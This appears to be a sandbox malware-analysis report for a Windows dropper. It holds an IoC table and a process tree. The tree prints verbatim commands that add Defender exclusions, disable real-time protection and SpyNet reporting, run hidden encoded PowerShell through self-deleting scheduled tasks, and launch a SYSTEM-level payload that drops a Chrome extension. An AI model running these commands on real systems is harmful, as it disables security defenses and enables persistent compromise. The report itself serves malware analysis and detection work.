description	pid	Process
Token: SeDebugPrivilege	1520	powershell.EXE
Token: SeDebugPrivilege	1180	powershell.EXE
Token: SeDebugPrivilege	764	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 780 wrote to memory of 1960	780	file.exe	28
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1960 wrote to memory of 1200	1960	Install.exe	29
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 1052	1200	Install.exe	31
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 1200 wrote to memory of 588	1200	Install.exe	33
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 588 wrote to memory of 1300	588	forfiles.exe	36
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1052 wrote to memory of 1392	1052	forfiles.exe	35
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1300 wrote to memory of 1072	1300	cmd.exe	38
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1392 wrote to memory of 1164	1392	cmd.exe	37
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1300 wrote to memory of 1156	1300	cmd.exe	40
PID 1392 wrote to memory of 1648	1392	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:780
- C:\Users\Admin\AppData\Local\Temp\7zSE7FF.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Users\Admin\AppData\Local\Temp\7zSEB88.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1200
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1052
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1392
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1164
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1648
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:588
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1300
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1072
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1156
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gYzuUeuer" /SC once /ST 13:03:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1932
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gYzuUeuer"
      4⤵
      PID:1704
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gYzuUeuer"
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKFjthDDlmdmBdSpYV" /SC once /ST 14:34:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR\VXuqdfXGxZocYTe\HVxLMIe.exe\" JF /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:2036

C:\Windows\system32\taskeng.exe
taskeng.exe {CD9BCBAE-AC74-451C-9EDE-BFF5CB334F2D} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1520
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1180
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:980
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:956

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1088

C:\Windows\system32\taskeng.exe
taskeng.exe {A2228026-9DD6-42EF-AAE7-D54A3F4E954B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1556
- C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR\VXuqdfXGxZocYTe\HVxLMIe.exe
  C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR\VXuqdfXGxZocYTe\HVxLMIe.exe JF /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gIxLHiRRy" /SC once /ST 11:44:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gIxLHiRRy"
    3⤵
    PID:1648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gIxLHiRRy"
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1580
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gjslxiwoj" /SC once /ST 05:35:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gjslxiwoj"
    3⤵
    PID:336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gjslxiwoj"
    3⤵
    PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1520
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1652
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1936
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1116
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:304
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\PtFLChdTWFkbMOwK\EnWUnTbl\cNceXvwYipgRSFvO.wsf"
    3⤵
    PID:1744
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\PtFLChdTWFkbMOwK\EnWUnTbl\cNceXvwYipgRSFvO.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:528
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AJYQrkrAhIRXC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AJYQrkrAhIRXC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrVpqlWoU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrVpqlWoU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1820
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVrlTdgfhXOU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVrlTdgfhXOU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1988
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oQtMlHEnfKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1792
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oQtMlHEnfKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\hfmUoVlnDXXxKeVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\hfmUoVlnDXXxKeVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:524
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1580
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:300
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AJYQrkrAhIRXC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:584
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AJYQrkrAhIRXC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:764
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrVpqlWoU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrVpqlWoU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1360
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVrlTdgfhXOU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVrlTdgfhXOU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oQtMlHEnfKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1076
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oQtMlHEnfKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\hfmUoVlnDXXxKeVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\hfmUoVlnDXXxKeVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1336
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1224
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PtFLChdTWFkbMOwK" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gOYFrlTKW" /SC once /ST 13:22:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gOYFrlTKW"
    3⤵
    PID:904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gOYFrlTKW"
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1588
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1628
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "wLvsIRnBfEcGhlAOV" /SC once /ST 12:20:26 /RU "SYSTEM" /TR "\"C:\Windows\Temp\PtFLChdTWFkbMOwK\kDJwecmhGUrPQUQ\pMnqmNn.exe\" 0b /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "wLvsIRnBfEcGhlAOV"
    3⤵
    PID:1620
- C:\Windows\Temp\PtFLChdTWFkbMOwK\kDJwecmhGUrPQUQ\pMnqmNn.exe
  C:\Windows\Temp\PtFLChdTWFkbMOwK\kDJwecmhGUrPQUQ\pMnqmNn.exe 0b /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:2008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bKFjthDDlmdmBdSpYV"
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\cmd.exe
